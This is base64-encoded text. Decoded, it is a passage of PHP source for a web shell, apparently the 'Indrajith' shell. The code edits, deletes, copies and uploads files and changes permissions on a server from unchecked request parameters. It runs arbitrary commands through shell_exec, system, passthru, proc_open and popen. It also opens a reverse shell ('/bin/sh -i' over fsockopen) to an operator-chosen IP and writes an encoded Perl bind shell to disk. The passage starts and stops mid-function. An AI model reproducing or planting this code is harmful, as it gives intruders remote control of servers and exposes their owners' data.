ICAgPGNlbnRlcj48dGV4dGFyZWEgc3BlbGxjaGVjaz0nZmFsc2UnIGNsYXNzPSd0ZXh0YXJlYV9l
ZGl0JyBuYW1lPSdlX2NvbnRlbnRfbicgY29scz0nODAnIHJvd3M9JzI1Jz4iLiRvX2NvbnRlbnQu
IjwvdGV4dGFyZWE+PC9jZW50ZXI+PGhyIC8+CiAgICAgICAgICA8aW5wdXQgY2xhc3M9J2lucHV0
X2JpZycgbmFtZT0nc2F2ZScgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICAgU2F2ZSAgICcgLz48YnIg
Lz48YnIgLz48aHIgLz48YnIgLz48YnIgLz48L2Rpdj4iOwp9CmZ1bmN0aW9uIGVkaXRfZmlsZV9i
ZygpCnsKICAgIGlmKGZpbGVfZXhpc3RzKCRfUE9TVFsnZV9maWxlJ10pKQogICAgewogICAgICAg
ICRoYW5kbGUgPSBmb3BlbigkX1BPU1RbJ2VfZmlsZSddLCJ3KyIpOwoJaWYgKCFoYW5kbGUpCiAg
ICAgICAgewogICAgICAgICAgICBhbGVydCgiUGVybWlzc2lvbiBEZW5pZWQiKTsKICAgICAgICB9
CgllbHNlCiAgICAgICAgewogICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwkX1BPU1RbJ2VfY29u
dGVudF9uJ10pOwogICAgICAgICAgICBhbGVydCgiWW91ciBjaGFuZ2VzIHdlcmUgU3VjY2Vzc2Z1
bGx5IFNhdmVkISIpOwogICAgICAgIH0KICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICB9CiAg
ICBlbHNlCiAgICB7CiAgICAgICAgYWxlcnQoIkZpbGUgTm90IEZvdW5kISEhIik7CiAgICB9Cn0K
ZnVuY3Rpb24gZGVsZXRlX2ZpbGUoKQp7CiAgICAkZGVsX2ZpbGU9JF9HRVRbJ2RlbF9maWwnXTsK
ICAgIGlmKHVubGluaygkZGVsX2ZpbGUpICE9IEZBTFNFKQogICAgewogICAgICAgIGFsZXJ0KCJE
ZWxldGVkIFN1Y2Nlc3NmdWxseSIpOwogICAgICAgIGV4aXQ7CiAgICB9CiAgICBlbHNlCiAgICB7
CiAgICAgICAgYWxlcnQoIkFjY2VzcyBEZW5pZWQgZm9yIHRoaXMgT3BlcmF0aW9uIik7CiAgICAg
ICAgZXhpdDsKICAgIH0KfQpmdW5jdGlvbiBkZWxkaXJzKCRkX2RpcikKewogICAgJGRfZmlsZXM9
IGdsb2IoJGRfZGlyLicqJywgR0xPQl9NQVJLKTsKICAgIGZvcmVhY2goJGRfZmlsZXMgYXMgJGRf
ZmlsZSkKICAgIHsKICAgICAgICBpZihpc19kaXIoJGRfZmlsZSkpCiAgICAgICAgewogICAgICAg
ICAgICBkZWxkaXJzKCRkX2ZpbGUpOwogICAgICAgIH0KICAgICAgICBlbHNlCiAgICAgICAgewog
ICAgICAgICAgICB1bmxpbmsoJGRfZmlsZSk7CiAgICAgICAgfQogICAgfQogICAgaWYoaXNfZGly
KCRkX2RpcikpCiAgICB7CiAgICAgICAgaWYocm1kaXIoJGRfZGlyKSkKICAgICAgICB7CiAgICAg
ICAgICAgIGFsZXJ0KCJEZWxldGVkIERpcmVjdG9yeSBTdWNjZXNzZnVsbHkiKTsKICAgICAgICB9
CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgYWxlcnQoIkFjY2VzcyBEZW5pZWQg
Zm9yIHRoaXMgT3BlcmF0aW9uIik7CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiBjb2RlX3Zp
ZXdlcigpCnsKICAgICRwYXRoPSRfR0VUWydwYXRoJ107CiAgICAkcl9maWxlPSRfR0VUWydyZWFk
J107CiAgICAkcl9jb250ZW50ID0gd29yZHdyYXAoaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9j
b250ZW50cygkcl9maWxlKSkpOwogICAgaWYoJHJfY29udGVudCkKICAgIHsKICAgICAgICAkcnJf
Y29udGVudD0kcl9jb250ZW50OwogICAgfQogICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ2Zn
ZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpICYmIGZ1bmN0aW9uX2V4aXN0cygnZmVv
ZicpKQogICAgewogICAgICAgICRmZCA9IGZvcGVuKCRyX2ZpbGUsICJyYiIpOwoJaWYgKCEkZmQp
CiAgICAgICAgewogICAgICAgICAgICBhbGVydCgiUGVybWlzc2lvbiBEZW5pZWQiKTsKICAgICAg
ICB9CgllbHNlCiAgICAgICAgewogICAgICAgICAgICB3aGlsZSghZmVvZigkZmQpKQogICAgICAg
ICAgICB7CiAgICAgICAgICAgICAgICAkcnJfY29udGVudD13b3Jkd3JhcChodG1sc3BlY2lhbGNo
YXJzKGZnZXRzKCRmZCkpKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBmY2xvc2Uo
JGZkKTsKICAgIH0KICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPlZpZXcgRmls
ZTwvaDI+PC9jZW50ZXI+PGhyIC8+PGJyIC8+PGZvbnQgY29sb3I9cmVkPkVkaXQgRmlsZTwvZm9u
dD48Zm9udCBjb2xvcj1ncmVlbj4gOiA8L2ZvbnQ+PGZvbnQgY29sb3I9Izk5OT48YSBzdHlsZT0n
dGV4dC1kZWNvcmF0aW9uOm5vbmU7IGNvbG9yOmdyZWVuOycgaHJlZj0nP3BhdGg9eyRwYXRofSZh
bXA7ZWRpdD0iLiRfR0VUWydyZWFkJ10uIic+Ii4gIGJhc2VuYW1lKCRfR0VUWydyZWFkJ10pICAu
IjwvYT48L2ZvbnQ+PGJyIC8+PGJyIC8+PGhyIC8+PHByZT48Y29kZT4iLiRycl9jb250ZW50LiI8
L2NvZGU+PC9wcmU+PGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PGJyIC8+PC9kaXY+IjsKfQpmdW5j
dGlvbiBjb3B5X2ZpbGVfdWkoKQp7CiAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxo
Mj5Db3B5IEZpbGU8L2gyPjxociAvPjxiciAvPjxiciAvPjx0YWJsZSBjbGFzcz10YWJsZT48Zm9y
bSBtZXRob2Q9J0dFVCc+PHRyPjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz5Db3B5IDog
PGlucHV0IHNpemU9NDAgbmFtZT0nY19maWxlJyB2YWx1ZT0iLiRfR0VUWydjb3B5J10uIiA+IFRv
IDogPGlucHV0IHNpemU9NDAgbmFtZT0nY190YXJnZXQnIHZhbHVlPSIuJF9HRVRbJ3BhdGgnXS4k
c2VwLiI+IE5hbWUgOiA8aW5wdXQgbmFtZT0nY25fbmFtZSc+PGlucHV0IHR5cGU9J3N1Ym1pdCcg
dmFsdWU9JyAgID4+ICAgJyAvPjwvZm9ybT48L3RhYmxlPjxiciAvPjxiciAvPjxociAvPjxiciAv
PjxiciAvPjxiciAvPjwvY2VudGVyPjwvZGl2PiI7Cn0KZnVuY3Rpb24gY29weV9maWxlX2JnKCkK
ewogICAgZ2xvYmFsICRzZXA7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoY29weSkpCiAgICB7CiAg
ICAgICAgaWYoY29weSgkX0dFVFsnY19maWxlJ10sICRfR0VUWydjX3RhcmdldCddLiRzZXAuJF9H
RVRbJ2NuX25hbWUnXSkpCiAgICAgICAgewogICAgICAgICAgICBhbGVydCgiU3VjY2VkZWQiKTsK
ICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgYWxlcnQoIkFjY2Vz
cyBEZW5pZWQiKTsKICAgICAgICB9CiAgICB9Cn0KZnVuY3Rpb24gY2hfcGVybV9iZygpCnsKICAg
IGlmKGlzc2V0KCRfR0VUWydwX2ZpbGV4J10pICYmIGlzc2V0KCRfR0VUWyduZXdfcGVybSddKSkK
ICAgIHsKICAgICAgICBpZihjaG1vZCgkX0dFVFsncF9maWxleCddLCAkX0dFVFsnbmV3X3Blcm0n
XSkgIT1GQUxTRSkKICAgICAgICB7CiAgICAgICAgICAgIGFsZXJ0KCJTdWNjZWRlZC4gUGVybWlz
c2lvbiBDaGFuZ2VkISEhIik7CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAg
ICAgICAgIGFsZXJ0KCJBY2Nlc3MgRGVuaWVkIGZvciBUaGlzIE9wZXJhdGlvbiIpOwogICAgICAg
IH0KICAgIH0KfQpmdW5jdGlvbiBjaF9wZXJtX3VpKCkKewogICAgJHBfZmlsZT0kX0dFVFsncGVy
bSddOwogICAgZWNobyAiPGRpdiBpZCA9cmVzdWx0PjxjZW50ZXI+PGgyPk5ldyBQZXJtaXNzaW9u
PC9oMj48aHIgLz48cD48Zm9ybSBtZXRob2Q9J0dFVCc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFt
ZT0ncGF0aCcgdmFsdWU9Ii5nZXRjd2QoKS4iID48aW5wdXQgbmFtZT0ncF9maWxleCcgdHlwZT1o
aWRkZW4gdmFsdWU9eyRwX2ZpbGV9ID5OZXcgUGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPSduZXdf
cGVybScgaXN6ZT0nNDAnIHZhbHVlPTAiLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygk
cF9maWxlKSksIC0zKS4iPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgICA+PiAgICcgLz48
L2Zvcm0+PC9wPjxwPkZ1bGwgQWNjZXNzIDogPGZvbnQgY29sb3I9cmVkPjc1NTwvZm9udD48YnIg
Lz5Ob3RpY2UgOiA8Zm9udCBjb2xvcj1yZWQ+RG9uJ3QgdXNlIFVuaXggQWNjZXNzIGxpa2UgNzc3
LCA2NjYsIGV0Yy4gVXNlIDc1NSwgNjU1LCBldGM8L3A+PGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+
PGJyIC8+PC9jZW50ZXI+PC9kaXY+IjsKICAgIGNoX3Blcm1fYmcoKTsKfQpmdW5jdGlvbiBta19m
aWxlX3VpKCkKewogICAgY2hkaXIoJF9HRVRbJ3BhdGgnXSk7CiAgICBlY2hvICI8ZGl2IGlkPXJl
c3VsdD48YnIgLz48YnIgLz48Zm9udCBjb2xvcj1yZWQ+PGZvcm0gbWV0aG9kPSdHRVQnPgogICAg
ICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0ncGF0aCcgdmFsdWU9Ii5nZXRjd2QoKS4i
PgogICAgICAgICAgTmV3IEZpbGUgTmFtZSA6IDxpbnB1dCBzaXplPSc0MCcgbmFtZT0nbmV3X2Zf
bmFtZScgdmFsdWU9Ii4kX0dFVFsnbmV3X2ZpbGUnXS4iPjwvZm9udD48YnIgLz48YnIgLz48aHIg
Lz48YnIgLz48Y2VudGVyPgogICAgICAgICAgPHRleHRhcmVhIHNwZWxsY2hlY2s9J2ZhbHNlJyBj
b2xzPSc4MCcgcm93cz0nMjUnIGNsYXNzPXRleHRhcmVhX2VkaXQgbmFtZT0nbl9maWxlX2NvbnRl
bnQnPjwvdGV4dGFyZWE+PC9jZW50ZXI+PGhyIC8+CiAgICAgICAgICA8aW5wdXQgY2xhc3M9J2lu
cHV0X2JpZycgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICBTYXZlICAnIC8+PC9mb3JtPjwvY2VudGVy
PjwvZGl2PiI7Cn0KZnVuY3Rpb24gbWtfZmlsZV9iZygpCnsKICAgIGNoZGlyKCRfR0VUWydwYXRo
J10pOwogICAgJGNfcGF0aD0kX0dFVFsncGF0aCddOwogICAgJGNfZmlsZT0kX0dFVFsnbmV3X2Zf
bmFtZSddOwogICAgJGNfZmlsZV9jb250ZW50cz0kX0dFVFsnbl9maWxlX2NvbnRlbnQnXTsKICAg
ICRoYW5kbGU9Zm9wZW4oJGNfZmlsZSwgInciKTsKICAgIGlmKCEkaGFuZGxlKQogICAgewogICAg
ICAgIGFsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCIpOwogICAgfQogICAgZWxzZQogICAgewogICAg
ICAgIGZ3cml0ZSgkaGFuZGxlLCRjX2ZpbGVfY29udGVudHMpOwogICAgICAgIGFsZXJ0KCJZb3Vy
IGNoYW5nZXMgd2VyZSBTdWNjZXNzZnVsbHkgU2F2ZWQhIik7CiAgICB9CiAgICBmY2xvc2UoJGhh
bmRsZSk7Cn0KZnVuY3Rpb24gY3JlYXRlX2RpcigpCnsKICAgIGNoZGlyKCRfR0VUWydwYXRoJ10p
OwogICAgJG5ld19kaXI9JF9HRVRbJ25ld19kaXInXTsKICAgIGlmKGlzX3dyaXRhYmxlKCRfR0VU
WydwYXRoJ10pKQogICAgewogICAgICAgIG1rZGlyKCRuZXdfZGlyKTsKICAgICAgICBhbGVydCgi
RGlyZWNvcnkgQ3JlYXRlZCBTdWNjZXNzZnVsbHkiKTsKICAgICAgICBleGl0OwogICAgfQogICAg
ZWxzZQogICAgewogICAgICAgIGFsZXJ0KCJBY2Nlc3MgRGVuaWVkIGZvciB0aGlzIE9wZXJhdGlv
biIpOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KZnVuY3Rpb24gY21kKCRjbWQpCnsKICAgIGNoZGly
KCRfR0VUWydwYXRoJ10pOwogICAgJHJlcz0iIjsKICAgIGlmKCRfR0VUWydjbWRleGUnXSkKICAg
IHsKICAgICAgICAkY21kPSRfR0VUWydjbWRleGUnXTsKICAgIH0KICAgIGlmKGZ1bmN0aW9uX2V4
aXN0cygnc2hlbGxfZXhlYycpKQogICAgewogICAgICAgICRyZXM9c2hlbGxfZXhlYygkY21kKTsK
ICAgIH0KICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpCiAgICB7CiAgICAgICAg
ZXhlYygkY21kLCRyZXMpOwogICAgICAgICRyZXM9am9pbigiXG4iLCRyZXMpOwogICAgfQogICAg
ZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKQogICAgewogICAgICAgIG9iX3N0YXJ0
KCk7CiAgICAgICAgc3lzdGVtKCRjbWQpOwogICAgICAgICRyZXMgPSBvYl9nZXRfY29udGVudHMo
KTsKICAgICAgICBvYl9lbmRfY2xlYW4oKTsgICAKICAgIH0KICAgIGVsc2VpZihmdW5jdGlvbl9l
eGlzdHMoJ3Bhc3N0aHJ1JykpCiAgICB7CglvYl9zdGFydCgpOwoJcGFzc3RocnUoJGNtZCk7Cgkk
cmVzPW9iX2dldF9jb250ZW50cygpOwoJb2JfZW5kX2NsZWFuKCk7CiAgICB9CiAgICBlbHNlIGlm
KGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpCiAgICB7CiAgICAgICAgJGRlc2NyaXB0b3Jz
cGVjID0gYXJyYXkoMCA9PiBhcnJheSgicGlwZSIsICJyIiksICAxID0+IGFycmF5KCJwaXBlIiwg
InciKSwgIDIgPT4gYXJyYXkoInBpcGUiLCAidyIpKTsKICAgICAgICAkaGFuZGxlID0gcHJvY19v
cGVuKCRjbWQgLCRkZXNjcmlwdG9yc3BlYyAsICRwaXBlcyk7CiAgICAgICAgaWYoaXNfcmVzb3Vy
Y2UoJGhhbmRsZSkpCiAgICAgICAgewogICAgICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2Zy
ZWFkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpCiAgICAgICAgICAgIHsKICAgICAgICAg
ICAgICAgIHdoaWxlKCFmZW9mKCRwaXBlc1sxXSkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAg
ICAgICAgICAgICAgJHJlcyAuPSBmcmVhZCgkcGlwZXNbMV0sIDUxMik7CiAgICAgICAgICAgICAg
ICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ2Zn
ZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpCiAgICAgICAgICAgIHsKICAgICAgICAg
ICAgICAgIHdoaWxlKCFmZW9mKCRwaXBlc1sxXSkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAg
ICAgICAgICAgICAgJHJlcyAuPSBmZ2V0cygkcGlwZXNbMV0sNTEyKTsKICAgICAgICAgICAgICAg
IH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBwY2xvc2UoJGhhbmRsZSk7CiAgICB9
CiAgICAKICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKQogICAgewogICAgICAg
ICRoYW5kbGUgPSBwb3BlbigkY21kICwgInIiKTsKICAgICAgICBpZihpc19yZXNvdXJjZSgkaGFu
ZGxlKSkKICAgICAgICB7CiAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnZnJlYWQnKSAm
JiBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAg
d2hpbGUoIWZlb2YoJGhhbmRsZSkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAg
ICAgJHJlcyAuPSBmcmVhZCgkaGFuZGxlLCA1MTIpOwogICAgICAgICAgICAgICAgfQogICAgICAg
ICAgICB9CiAgICAgICAgICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdmZ2V0cycpICYmIGZ1
bmN0aW9uX2V4aXN0cygnZmVvZicpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB3aGls
ZSghZmVvZigkaGFuZGxlKSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAk
cmVzIC49IGZnZXRzKCRoYW5kbGUsNTEyKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAg
fQogICAgICAgIH0KICAgICAgICBwY2xvc2UoJGhhbmRsZSk7CiAgICB9CiAgICAKICAgICRyZXM9
d29yZHdyYXAoaHRtbHNwZWNpYWxjaGFycygkcmVzKSk7CiAgICBpZigkX0dFVFsnY21kZXhlJ10p
CiAgICB7CiAgICAgICAgZWNobyAiPGRpdiBpZD1yZXN1bHQ+PGNlbnRlcj48Zm9udCBjb2xvcj1n
cmVlbj48aDI+cjAwdEBUT0Y6fiM8L2gyPjwvY2VudGVyPjxociAvPjxwcmU+Ii4kcmVzLiI8L2Zv
bnQ+PC9wcmU+PC9kaXY+IjsKICAgIH0KICAgIHJldHVybiAkcmVzOwp9CmZ1bmN0aW9uIHVwbG9h
ZF9maWxlKCkKewogICAgY2hkaXIoJF9QT1NUWydwYXRoJ10pOwogICAgaWYobW92ZV91cGxvYWRl
ZF9maWxlKCRfRklMRVNbJ3VwbG9hZF9mJ11bJ3RtcF9uYW1lJ10sJF9GSUxFU1sndXBsb2FkX2Yn
XVsnbmFtZSddKSkKICAgIHsKICAgICAgICBhbGVydCgiVXBsb2FkZWQgRmlsZSBTdWNjZXNzZnVs
bHkiKTsKICAgIH0KICAgIGVsc2UKICAgIHsKICAgICAgICBhbGVydCgiQWNjZXNzIERlbmllZCEh
ISIpOwogICAgfQp9CgpmdW5jdGlvbiByZXZlcnNlX2Nvbm5fdWkoKQp7CiAgICBnbG9iYWwgJHlv
dXJfaXA7CiAgICBlY2hvICI8ZGl2IGlkPSdyZXN1bHQnPgogICAgICAgICAgPGNlbnRlcj48aDI+
UmV2ZXJzZSBTaGVsbDwvaDI+PGhyIC8+CiAgICAgICAgICA8YnIgLz48YnIgLz48Zm9ybSBtZXRo
b2Q9J0dFVCc+PHRhYmxlIGNsYXNzPXRibD4KICAgICAgICAgIDx0cj4KICAgICAgICAgIDx0ZD48
c2VsZWN0IG5hbWU9J3Jldl9vcHRpb24nIHN0eWxlPSdjb2xvcjpncmVlbjsgYmFja2dyb3VuZC1j
b2xvcjpibGFjazsgYm9yZGVyOjFweCBzb2xpZCAjNjY2Oyc+CiAgICAgICAgICAgICAgICAgICAg
ICA8b3B0aW9uPlBIUCBSZXZlcnNlIFNoZWxsPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAg
ICA8b3B0aW9uPlBFUkwgQmluZCBTaGVsbDwvb3B0aW9uPgogICAgICAgICAgPC9zZWxlY3Q+PC90
ZD48L3RyPjx0cj4KICAgICAgICAgIDx0ZD5Zb3VyIElQIDogPGlucHV0IG5hbWU9J215X2lwJyB2
YWx1ZT0iLiR5b3VyX2lwLiI+CiAgICAgICAgICBQT1JUIDogPGlucHV0IG5hbWU9J215X3BvcnQn
IHZhbHVlPSc1NjAnPgogICAgICAgICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAgID4+
ICAgJyAvPjwvdGQ+PC90cj48L2Zvcm0+CiAgICAgICAgICA8dHI+PC90cj4KICAgICAgICAgIDx0
cj48dGQ+PGZvbnQgY29sb3I9cmVkPlBIUCBSZXZlcnNlIFNoZWxsPC9mb250PiA6IDxmb250IGNv
bG9yPWdyZWVuPiBuYyAtbCAtcCA8aT5wb3J0PC9pPjwvZm9udD48L3RkPjwvdHI+PHRyPjx0ZD48
Zm9udCBjb2xvcj1yZWQ+UEVSTCBCaW5kIFNoZWxsPC9mb250PiA6IDxmb250IGNvbG9yPWdyZWVu
PiBuYyA8aT5zZXJ2ZXJfaXAgcG9ydDwvaT48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IDwvZGl2
PiI7Cn0KZnVuY3Rpb24gcmV2ZXJzZV9jb25uX2JnKCkKewogICAgZ2xvYmFsICRvczsKICAgICRv
cHRpb249JF9SRVFVRVNUWydyZXZfb3B0aW9uJ107CiAgICAkaXA9JF9HRVRbJ215X2lwJ107CiAg
ICAkcG9ydD0kX0dFVFsnbXlfcG9ydCddOwogICAgaWYoJG9wdGlvbj09IlBIUCBSZXZlcnNlIFNo
ZWxsIikKICAgIHsKICAgICAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48aDI+UkVTVUxUPC9oMj48
aHIgLz48YnIgLz4iOwogICAgICAgIGZ1bmN0aW9uIHByaW50aXQgKCRzdHJpbmcpCiAgICAgICAg
ewogICAgICAgICAgICBpZiAoISRkYWVtb24pCiAgICAgICAgICAgIHsKCQlwcmludCAiJHN0cmlu
Z1xuIjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkY2h1bmtfc2l6ZSA9IDE0MDA7
CiAgICAgICAgJHdyaXRlX2EgPSBudWxsOwogICAgICAgICRlcnJvcl9hID0gbnVsbDsKICAgICAg
ICAkc2hlbGwgPSAndW5hbWUgLWE7IHc7IGlkOyAvYmluL3NoIC1pJzsKICAgICAgICAkZGFlbW9u
ID0gMDsKICAgICAgICAkZGVidWcgPSAwOwogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bj
bnRsX2ZvcmsnKSkKICAgICAgICB7CiAgICAgICAgICAgICRwaWQgPSBwY250bF9mb3JrKCk7CiAg
ICAgICAgICAgIGlmICgkcGlkID09IC0xKQogICAgICAgICAgICB7CgkJcHJpbnRpdCgiRVJST1I6
IENhbid0IGZvcmsiKTsKCQlleGl0KDEpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgk
cGlkKQogICAgICAgICAgICB7CgkJZXhpdCgwKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBp
ZiAocG9zaXhfc2V0c2lkKCkgPT0gLTEpCiAgICAgICAgICAgIHsKCQlwcmludGl0KCJFcnJvcjog
Q2FuJ3Qgc2V0c2lkKCkiKTsKCQlleGl0KDEpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRk
YWVtb24gPSAxOwogICAgICAgIH0KICAgICAgICBlbHNlCiAgICAgICAgewogICAgICAgICAgICBw
cmludGl0KCJXQVJOSU5HOiBGYWlsZWQgdG8gZGFlbW9uaXNlLiAgVGhpcyBpcyBxdWl0ZSBjb21t
b24gYW5kIG5vdCBmYXRhbC4iKTsKICAgICAgICB9CiAgICAgICAgY2hkaXIoIi8iKTsKICAgICAg
ICB1bWFzaygwKTsKICAgICAgICAkc29jayA9IGZzb2Nrb3BlbigkaXAsICRwb3J0LCAkZXJybm8s
ICRlcnJzdHIsIDMwKTsKICAgICAgICBpZiAoISRzb2NrKQogICAgICAgIHsKICAgICAgICAgICAg
cHJpbnRpdCgiJGVycnN0ciAoJGVycm5vKSIpOwogICAgICAgICAgICBleGl0KDEpOwogICAgICAg
IH0KICAgICAgICAkZGVzY3JpcHRvcnNwZWMgPSBhcnJheSgwID0+IGFycmF5KCJwaXBlIiwgInIi
KSwgIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLCAgMiA9PiBhcnJheSgicGlwZSIsICJ3IikpOwog
ICAgICAgICRwcm9jZXNzID0gcHJvY19vcGVuKCRzaGVsbCwgJGRlc2NyaXB0b3JzcGVjLCAkcGlw
ZXMpOwogICAgICAgIGlmICghaXNfcmVzb3VyY2UoJHByb2Nlc3MpKQogICAgICAgIHsKICAgICAg
ICAgICAgcHJpbnRpdCgiRVJST1I6IENhbid0IHNwYXduIHNoZWxsIik7CiAgICAgICAgICAgIGV4
aXQoMSk7CiAgICAgICAgfQogICAgICAgIHN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzBdLCAw
KTsKICAgICAgICBzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1sxXSwgMCk7CiAgICAgICAgc3Ry
ZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMl0sIDApOwogICAgICAgIHN0cmVhbV9zZXRfYmxvY2tp
bmcoJHNvY2ssIDApOwogICAgICAgIHByaW50aXQoIjxmb250IGNvbG9yPWdyZWVuPlN1Y2Nlc3Nm
dWxseSBvcGVuZWQgcmV2ZXJzZSBzaGVsbCB0byAkaXA6JHBvcnQgPC9mb250PiIpOwogICAgICAg
IHdoaWxlICgxKQogICAgICAgIHsKICAgICAgICAgICAgaWYgKGZlb2YoJHNvY2spKQogICAgICAg
ICAgICB7CgkJcHJpbnRpdCgiRVJST1I6IFNoZWxsIGNvbm5lY3Rpb24gdGVybWluYXRlZCIpOwoJ
CWJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChmZW9mKCRwaXBlc1sxXSkpCiAg
ICAgICAgICAgIHsKCQlwcmludGl0KCJFUlJPUjogU2hlbGwgcHJvY2VzcyB0ZXJtaW5hdGVkIik7
CgkJYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHJlYWRfYSA9IGFycmF5KCRzb2Nr
LCAkcGlwZXNbMV0sICRwaXBlc1syXSk7CiAgICAgICAgICAgICRudW1fY2hhbmdlZF9zb2NrZXRz
ID0gc3RyZWFtX3NlbGVjdCgkcmVhZF9hLCAkd3JpdGVfYSwgJGVycm9yX2EsIG51bGwpOwogICAg
ICAgICAgICBpZiAoaW5fYXJyYXkoJHNvY2ssICRyZWFkX2EpKQogICAgICAgICAgICB7CgkJaWYg
KCRkZWJ1ZykgcHJpbnRpdCgiU09DSyBSRUFEIik7CgkJJGlucHV0ID0gZnJlYWQoJHNvY2ssICRj
aHVua19zaXplKTsKCQlpZiAoJGRlYnVnKSBwcmludGl0KCJTT0NLOiAkaW5wdXQiKTsKCQlmd3Jp
dGUoJHBpcGVzWzBdLCAkaW5wdXQpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChpbl9h
cnJheSgkcGlwZXNbMV0sICRyZWFkX2EpKQogICAgICAgICAgICB7CgkJaWYgKCRkZWJ1ZykgcHJp
bnRpdCgiU1RET1VUIFJFQUQiKTsKCQkkaW5wdXQgPSBmcmVhZCgkcGlwZXNbMV0sICRjaHVua19z
aXplKTsKCQlpZiAoJGRlYnVnKSBwcmludGl0KCJTVERPVVQ6ICRpbnB1dCIpOwoJCWZ3cml0ZSgk
c29jaywgJGlucHV0KTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoaW5fYXJyYXkoJHBp
cGVzWzJdLCAkcmVhZF9hKSkKICAgICAgICAgICAgewoJCWlmICgkZGVidWcpIHByaW50aXQoIlNU
REVSUiBSRUFEIik7CgkJJGlucHV0ID0gZnJlYWQoJHBpcGVzWzJdLCAkY2h1bmtfc2l6ZSk7CgkJ
aWYgKCRkZWJ1ZykgcHJpbnRpdCgiU1RERVJSOiAkaW5wdXQiKTsKCQlmd3JpdGUoJHNvY2ssICRp
bnB1dCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZmNsb3NlKCRzb2NrKTsKICAg
ICAgICBmY2xvc2UoJHBpcGVzWzBdKTsKICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsKICAgICAg
ICBmY2xvc2UoJHBpcGVzWzJdKTsKICAgICAgICBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsKICAgICAg
ICBlY2hvICI8YnIgLz48YnIgLz48aHIgLz48YnIgLz48YnIgLz48L2Rpdj4iOwogICAgfQogICAg
ZWxzZSBpZigkb3B0aW9uPT0iUEVSTCBCaW5kIFNoZWxsIikKICAgIHsKICAgICAgICBnbG9iYWwg
JGJpbmRfcGVybCwgJG9zOwogICAgICAgICRwYmZsPSRiaW5kX3Blcmw7CiAgICAgICAgJGhhbmRs
cj1mb3BlbigiaW5kcmFqaXRoX3BlcmxfYmluZC5wbCIsICJ3YiIpOwogICAgICAgIGlmKCRoYW5k
bHIpCiAgICAgICAgewogICAgICAgICAgICBmd3JpdGUoJGhhbmRsciwgZ3ppbmZsYXRlKGJhc2U2
NF9kZWNvZGUoJGJpbmRfcGVybCkpKTsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsK
ICAgICAgICAgICAgYWxlcnQoIkFjY2VzcyBEZW5pZWQgZm9yIGNyZWF0ZSBuZXcgZmlsZSIpOwog
